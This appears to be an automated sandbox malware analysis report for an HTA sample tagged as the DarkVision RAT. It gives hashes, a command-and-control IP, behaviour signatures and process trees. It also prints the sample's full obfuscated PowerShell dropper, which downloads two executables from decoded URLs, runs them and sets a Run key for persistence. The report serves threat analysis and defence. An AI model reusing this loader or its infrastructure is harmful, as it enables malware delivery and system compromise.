Analysis
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max time kernel
117s -
max time network
117s -
platform
windows7_x64 -
resource
win7-20241023-en -
resource tags
arch:x64arch:x86image:win7-20241023-enlocale:en-usos:windows7-x64system -
submitted
29-11-2024 16:08
Static task
static1
Behavioral task
behavioral1
Sample
29112024_1608_upgrade.hta
Resource
win7-20241023-en
Behavioral task
behavioral2
Sample
29112024_1608_upgrade.hta
Resource
win10v2004-20241007-en
General
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Target
29112024_1608_upgrade.hta
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Size
25KB
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MD5
03f88b6e5c92cf8865b13fb7495eac0a
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SHA1
5f8a0e82674b25a9ef0f5d93f23075b1d7fb632b
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SHA256
c839ec03c9b07879980d362ba4615df453d6e5847baf8fb89e1d0f2c5bafb2b8
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SHA512
6d3baedcb209cbeb080c0a5bf31c33441f2c31f3fba77c95e7ff7c549db05871564fca22b30971e0e8465aa9822cb64a06ec7daa7911c7c9318ee4ebcd267d94
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SSDEEP
192:b4sMlPX9+eCSEXxJckNfWMLAxdEW0UDqSbsCxLuoe23qNT2xZg6w0JGppinxDkdv:b4pX9+eCSEZLgi23q+gSIuq
Malware Config
Extracted
darkvision
5.206.227.213
Signatures
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DarkVision Rat
DarkVision Rat is a trojan written in C++.
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Darkvision family
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Blocklisted process makes network request 2 IoCs
flow pid Process 5 1988 powershell.exe 7 1988 powershell.exe -
Downloads MZ/PE file
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Executes dropped EXE 7 IoCs
pid Process 2852 KNVYINNN.exe 1196 Process not Found 2828 pyexec.exe 2764 pyexec.exe 2040 second.exe 380 Virtual.exe 2396 Virtual.exe -
Loads dropped DLL 23 IoCs
pid Process 1988 powershell.exe 1196 Process not Found 2828 pyexec.exe 2828 pyexec.exe 2764 pyexec.exe 1988 powershell.exe 1196 Process not Found 1196 Process not Found 2040 second.exe 2040 second.exe 380 Virtual.exe 380 Virtual.exe 380 Virtual.exe 380 Virtual.exe 2724 cmd.exe 380 Virtual.exe 380 Virtual.exe 2396 Virtual.exe 2396 Virtual.exe 2396 Virtual.exe 2396 Virtual.exe 2724 cmd.exe 1720 BQE_Fast.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Microsoft\Windows\CurrentVersion\Run\hzQtnaa = "C:\\Users\\Admin\\AppData\\Roaming\\KNVYINNN.exe" powershell.exe -
pid Process 1988 powershell.exe 1988 powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 2764 set thread context of 2724 2764 pyexec.exe 36 PID 2396 set thread context of 1780 2396 Virtual.exe 41 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 6 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language mshta.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language pyexec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language pyexec.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Microsoft\Internet Explorer\Main mshta.exe -
Suspicious behavior: EnumeratesProcesses 15 IoCs
pid Process 1988 powershell.exe 1988 powershell.exe 1988 powershell.exe 2828 pyexec.exe 2764 pyexec.exe 2764 pyexec.exe 1988 powershell.exe 1988 powershell.exe 2724 cmd.exe 2724 cmd.exe 380 Virtual.exe 2396 Virtual.exe 2396 Virtual.exe 1780 cmd.exe 1780 cmd.exe -
Suspicious behavior: MapViewOfSection 4 IoCs
pid Process 2764 pyexec.exe 2396 Virtual.exe 2724 cmd.exe 1780 cmd.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 1988 powershell.exe -
Suspicious use of WriteProcessMemory 48 IoCs
description pid Process procid_target PID 2096 wrote to memory of 1988 2096 mshta.exe 30 PID 2096 wrote to memory of 1988 2096 mshta.exe 30 PID 2096 wrote to memory of 1988 2096 mshta.exe 30 PID 2096 wrote to memory of 1988 2096 mshta.exe 30 PID 1988 wrote to memory of 2852 1988 powershell.exe 33 PID 1988 wrote to memory of 2852 1988 powershell.exe 33 PID 1988 wrote to memory of 2852 1988 powershell.exe 33 PID 1988 wrote to memory of 2852 1988 powershell.exe 33 PID 2852 wrote to memory of 2828 2852 KNVYINNN.exe 34 PID 2852 wrote to memory of 2828 2852 KNVYINNN.exe 34 PID 2852 wrote to memory of 2828 2852 KNVYINNN.exe 34 PID 2852 wrote to memory of 2828 2852 KNVYINNN.exe 34 PID 2828 wrote to memory of 2764 2828 pyexec.exe 35 PID 2828 wrote to memory of 2764 2828 pyexec.exe 35 PID 2828 wrote to memory of 2764 2828 pyexec.exe 35 PID 2828 wrote to memory of 2764 2828 pyexec.exe 35 PID 2764 wrote to memory of 2724 2764 pyexec.exe 36 PID 2764 wrote to memory of 2724 2764 pyexec.exe 36 PID 2764 wrote to memory of 2724 2764 pyexec.exe 36 PID 2764 wrote to memory of 2724 2764 pyexec.exe 36 PID 1988 wrote to memory of 2040 1988 powershell.exe 38 PID 1988 wrote to memory of 2040 1988 powershell.exe 38 PID 1988 wrote to memory of 2040 1988 powershell.exe 38 PID 1988 wrote to memory of 2040 1988 powershell.exe 38 PID 2040 wrote to memory of 380 2040 second.exe 39 PID 2040 wrote to memory of 380 2040 second.exe 39 PID 2040 wrote to memory of 380 2040 second.exe 39 PID 2764 wrote to memory of 2724 2764 pyexec.exe 36 PID 380 wrote to memory of 2396 380 Virtual.exe 40 PID 380 wrote to memory of 2396 380 Virtual.exe 40 PID 380 wrote to memory of 2396 380 Virtual.exe 40 PID 2396 wrote to memory of 1780 2396 Virtual.exe 41 PID 2396 wrote to memory of 1780 2396 Virtual.exe 41 PID 2396 wrote to memory of 1780 2396 Virtual.exe 41 PID 2396 wrote to memory of 1780 2396 Virtual.exe 41 PID 2724 wrote to memory of 1720 2724 cmd.exe 43 PID 2724 wrote to memory of 1720 2724 cmd.exe 43 PID 2724 wrote to memory of 1720 2724 cmd.exe 43 PID 2724 wrote to memory of 1720 2724 cmd.exe 43 PID 2396 wrote to memory of 1780 2396 Virtual.exe 41 PID 2724 wrote to memory of 1720 2724 cmd.exe 43 PID 2724 wrote to memory of 1720 2724 cmd.exe 43 PID 1780 wrote to memory of 3032 1780 cmd.exe 44 PID 1780 wrote to memory of 3032 1780 cmd.exe 44 PID 1780 wrote to memory of 3032 1780 cmd.exe 44 PID 1780 wrote to memory of 3032 1780 cmd.exe 44 PID 1780 wrote to memory of 3032 1780 cmd.exe 44 PID 1780 wrote to memory of 3032 1780 cmd.exe 44
Processes
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C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\29112024_1608_upgrade.hta"1⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:2096 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function gCKawp($xqETuHkBN, $cgpVK){[IO.File]::WriteAllBytes($xqETuHkBN, $cgpVK)};function TPUUAPTRh($xqETuHkBN){if($xqETuHkBN.EndsWith((odPEDz @(47359,47413,47421,47421))) -eq $True){Start-Process (odPEDz @(47427,47430,47423,47413,47421,47421,47364,47363,47359,47414,47433,47414)) $xqETuHkBN}else{Start-Process $xqETuHkBN}};function IogZmN($xqETuHkBN, $fYoQizCPx){[Microsoft.Win32.Registry]::SetValue((odPEDz @(47385,47388,47382,47402,47408,47380,47398,47395,47395,47382,47391,47397,47408,47398,47396,47382,47395,47405,47396,47424,47415,47429,47432,47410,47427,47414,47405,47390,47418,47412,47427,47424,47428,47424,47415,47429,47405,47400,47418,47423,47413,47424,47432,47428,47405,47380,47430,47427,47427,47414,47423,47429,47399,47414,47427,47428,47418,47424,47423,47405,47395,47430,47423)), $fYoQizCPx, $xqETuHkBN)};function MCNjOTFH($xqETuHkBN){$IVMCWJwi=(odPEDz @(47385,47418,47413,47413,47414,47423));$VGLgiVJ=(Get-ChildItem $xqETuHkBN -Force);$VGLgiVJ.Attributes=$VGLgiVJ.Attributes -bor ([IO.FileAttributes]$IVMCWJwi).value__};function oBvvmAnE($iXTtDfK){$GzBKYX = New-Object (odPEDz @(47391,47414,47429,47359,47400,47414,47411,47380,47421,47418,47414,47423,47429));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$cgpVK = $GzBKYX.DownloadData($iXTtDfK);return $cgpVK};function odPEDz($rGehVsA){$jtBdpZ=47313;$YWQUeqd=$Null;foreach($qyPsd in $rGehVsA){$YWQUeqd+=[char]($qyPsd-$jtBdpZ)};return $YWQUeqd};function WmSEp(){$lEPJgGls = $env:APPDATA + '\';$SCATfjY = oBvvmAnE (odPEDz @(47417,47429,47429,47425,47428,47371,47360,47360,47425,47430,47411,47358,47414,47362,47415,47412,47413,47410,47413,47369,47363,47368,47367,47413,47365,47368,47413,47415,47410,47413,47364,47415,47369,47363,47415,47366,47370,47364,47367,47411,47370,47412,47366,47364,47359,47427,47363,47359,47413,47414,47431,47360,47388,47391,47399,47402,47386,47391,47391,47391,47359,47414,47433,47414));$VQrLt = $lEPJgGls + 'KNVYINNN.exe';gCKawp $VQrLt $SCATfjY;TPUUAPTRh $VQrLt;$fYoQizCPx = 'hzQtnaa';IogZmN $VQrLt $fYoQizCPx;;$MfdAL = oBvvmAnE (odPEDz @(47417,47429,47429,47425,47428,47371,47360,47360,47425,47430,47411,47358,47412,47366,47410,47362,47369,47414,47411,47368,47367,47414,47361,47364,47365,47413,47369,47369,47369,47370,47370,47414,47362,47415,47365,47365,47415,47369,47366,47370,47410,47369,47365,47370,47359,47427,47363,47359,47413,47414,47431,47360,47428,47414,47412,47424,47423,47413,47359,47414,47433,47414));$NtudOlR = $lEPJgGls + 'second.exe';gCKawp $NtudOlR $MfdAL;TPUUAPTRh $NtudOlR;MCNjOTFH $NtudOlR;;;}WmSEp;2⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Adds Run key to start application
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1988 -
C:\Users\Admin\AppData\Roaming\KNVYINNN.exe"C:\Users\Admin\AppData\Roaming\KNVYINNN.exe"3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2852 -
C:\Users\Admin\pyexec.exe"C:\Users\Admin\pyexec.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2828 -
C:\Users\Admin\AppData\Roaming\AltDaemon\pyexec.exeC:\Users\Admin\AppData\Roaming\AltDaemon\pyexec.exe5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:2764 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\SysWOW64\cmd.exe6⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:2724 -
C:\Users\Admin\AppData\Local\Temp\BQE_Fast.exeC:\Users\Admin\AppData\Local\Temp\BQE_Fast.exe7⤵
- Loads dropped DLL
PID:1720
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C:\Users\Admin\AppData\Roaming\second.exe"C:\Users\Admin\AppData\Roaming\second.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2040 -
C:\Users\Admin\Virtual.exe"C:\Users\Admin\Virtual.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:380 -
C:\Users\Admin\AppData\Roaming\RemoteSvc\Virtual.exeC:\Users\Admin\AppData\Roaming\RemoteSvc\Virtual.exe5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:2396 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\SysWOW64\cmd.exe6⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:1780 -
C:\Windows\explorer.exeC:\Windows\explorer.exe7⤵PID:3032
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
1.1MB
MD57214744860d10d91087b4b6f40e93f3d
SHA170653f1293e3e97b048308adc414bb47b29892fa
SHA25639cb22c218808d3c7e993dcb9e6f4e91e616512b749dc72be3a4f429a947e7ce
SHA5129c3096a27f64f7f07e68c61564efb48320482cc5abc81816f8042d4c38adb71cda021253661abdde47c9ff46dddc7496c7164a38261af36c1b40bd953d492477
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Filesize
5.5MB
MD58374b9105398d81a430a8942fba1bf7f
SHA1c32db0f38b7f832c551aae99ff99d8afa3d3632c
SHA256d84e3b18ed19480ae33fc3d508c85df315b0792da69072438225344027ca9cbc
SHA5126259db3acb4e9ea6b18d01f2a372effbfa1365ae3e12febbfa1bc25bd00dbff34122c60a64cd68e9c9ca1fadcf5347b5317dc186daf36453db199d8209964947
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Filesize
809KB
MD5366fd6f3a451351b5df2d7c4ecf4c73a
SHA150db750522b9630757f91b53df377fd4ed4e2d66
SHA256ae3cb6c6afba9a4aa5c85f66023c35338ca579b30326dd02918f9d55259503d5
SHA5122de764772b68a85204b7435c87e9409d753c2196cf5b2f46e7796c99a33943e167f62a92e8753eaa184cd81fb14361e83228eb1b474e0c3349ed387ec93e6130
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Filesize
2.5MB
MD522ac09892f3706c6660d1ffe3387c07a
SHA106e0f1ea9958b338598d0b1378918e4efca773b8
SHA2562e158dfbcf37e16d4b0d73d59f5d583a733a12c7cfed243a76b2de2fc9defbf7
SHA5124e40e904e680fd861bbb782c4b790c3b290e612e8fc196ab520b1ab7de53e696df316d45968f744ddf218ce04ca06ae2ae1cbf8b6b8cab9c04c980ca32befeb0
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Filesize
4.0MB
MD51ed9d695fd31239e2b16e3712f96965f
SHA1acb9c07dedc5cd9fe5632ab92f77f0bd046d2bb2
SHA256414c538d3884da4a5737f0fab8834333dc520e50c230d9e08cc40832806a0730
SHA5122e3d8326b8e38b4d2babf6c69fe552f3f58c8672fac269ecdd1f9a90fde3b0917971bcb79b0fa46d4353dadd93a482b60d8f02b3065fe907b5a6067202a5333c
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Filesize
4.4MB
MD5e70ee3bca802db0197b2632b0f2ab4db
SHA1aa7e9665baaa4a2c487dd5d1059b2cb2cdcae8e3
SHA2560cbf2430f07b5bdef2633605e0a65ed68ac1b3dbf3ae5bb8b79695f40a48aefd
SHA512e93c763eff21a05c8d283a07ea9a6a357fa92394f2da35e75f3796e8ca94f9f220811ead59b5d562a7f20a6e2caa459a20dc8076a749d81628253dcba1fe1709
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Filesize
783KB
MD572381196433e3385bb4be8ff422800ef
SHA1d81bc8d8036ef92e7f24228618350e77827f314d
SHA256bf7db4b113588c19dc13603024ecf3d90bb8eb3854ad00fad883a74e001a341a
SHA51238d2c4821c147d47381c15aacb76b577aee9fab81329b71be0b965ce31ab76b26cbb683d919b033aa79594aabc0401ce5d336de537724cfadc9ccbbfbfc5a678
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Filesize
22KB
MD59078f84220e8b7379bfa2f4333995bc1
SHA121f0cbeffdcd99bce6521aadead7aa6f68edd666
SHA256b7c4fec4464e43a5736bf764f137f9aee03c7e0d67755d964ab74854bc725f8f
SHA51245dd6188e3085d34e632091068f9d7c31d22e2643a20fb1a01c1c255f593e71fa2aeb34fd85d22dfacfbbdf7a1d69750206745215ee77d01a759ada9849be090
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Filesize
638KB
MD511d49148a302de4104ded6a92b78b0ed
SHA1fd58a091b39ed52611ade20a782ef58ac33012af
SHA256ceb0947d898bc2a55a50f092f5ed3f7be64ac1cd4661022eefd3edd4029213b0
SHA512fdc43b3ee38f7beb2375c953a29db8bcf66b73b78ccc04b147e26108f3b650c0a431b276853bb8e08167d34a8cc9c6b7918daef9ebc0a4833b1534c5afac75e4
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Filesize
28KB
MD5b6f6c3c38568ee26f1ac70411a822405
SHA15b94d0adac4df2d7179c378750c4e3417231125f
SHA256a73454c7fad23a80a3f6540afdb64fc334980a11402569f1986aa39995ae496d
SHA5125c0a5e9a623a942aff9d58d6e7a23b7d2bba6a4155824aa8bb94dbd069a8c15c00df48f12224622efcd5042b6847c8fb476c43390e9e576c42efc22e3c02a122
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Filesize
17KB
MD5d00b94674f06f45b8315ccf49d3a383b
SHA1465cccf79a1b7ab9d973db70c3a253e4a066aa6b
SHA256fc2ebd32f984ec563113d6759db21d1ff4394da6bc0c688c9165d1d2e60fadcd
SHA51263768752a2406baf517f675b6130798d55f16731152491f4c99c0d39aab394eb96a67410875bc947685125bce611fc50b021b9a2935d491be62b3f75e9bb70f6
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Filesize
2.3MB
MD5967f4470627f823f4d7981e511c9824f
SHA1416501b096df80ddc49f4144c3832cf2cadb9cb2
SHA256b22bf1210b5fd173a210ebfa9092390aa0513c41e1914cbe161eb547f049ef91
SHA5128883ead428c9d4b415046de9f8398aa1f65ae81fe7945a840c822620e18f6f9930cce2e10acff3b5da8b9c817ade3dabc1de576cbd255087267f77341900a41c
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Filesize
6.1MB
MD5e06afcdb16d22bd45bc3a5b01c96da3a
SHA1a0f776c4c64a808676082449f23858257f1aa132
SHA2565665bb7e9557ec139e0a60fd43b8775fb9bb764db581e7e2278c83b1f2c3c358
SHA51213beb7a8aa1aae7f182cdc0215d56feac1f04532dce6d1fddc358d422e571616f2fcea569bf6f1a8dcdc5733780938b4f82681e24290338852e6e37102741e33
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Filesize
4.0MB
MD547cb10ebf122aea1d817c5b57737c2fc
SHA1074b2f5ab20d09dcf7c0c8701568fc3654a47303
SHA25654be46f3daaad32f18eb85dae280b3ca6f81c640dd9531ed16b71817a3a2973c
SHA512c8237bfb26a625eaeafe36dc0277626735da1f2dbf33208374a28ce08c52b97cb2c087b85bd227d6cc7b7541743c28d674415031ee600853056af393ead26ecb
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Filesize
371KB
MD5496df6ad1a158ed5037138e397713ef0
SHA1287bd2219c955687baa399ded57e9ab64334c63c
SHA25607c04290f53aaaaa7df6b6ea3a53103b6e3ef8ff658d8097617a9c48dfc6e90a
SHA512422da26a8f50c1f02c1cc7c4bed37cdb33732039bba82f32c2a14baa8c6a7bc5544856ab26a2071b5ea8e731a296e2c69071da2f067312d05763aa3a9928bb3a
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Filesize
3.4MB
MD5c8a2de7077f97d4bce1a44317b49ef41
SHA16cb3212ec9be08cb5a29bf8d37e9ca845efc18c9
SHA256448402c129a721812fa1c5f279f5ca906b9c8bbca652a91655d144d20ce5e6b4
SHA5129815eba1566a8e33734f6a218071ec501dd1f799b1535e25d87c2b416b928ae8d15f8218cf20e685f9907ec39c202cbfc4728fe6ab9d87b3de345109f626845e
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Filesize
593KB
MD5d029339c0f59cf662094eddf8c42b2b5
SHA1a0b6de44255ce7bfade9a5b559dd04f2972bfdc8
SHA256934d882efd3c0f3f1efbc238ef87708f3879f5bb456d30af62f3368d58b6aa4c
SHA512021d9af52e68cb7a3b0042d9ed6c9418552ee16df966f9ccedd458567c47d70471cb8851a69d3982d64571369664faeeae3be90e2e88a909005b9cdb73679c82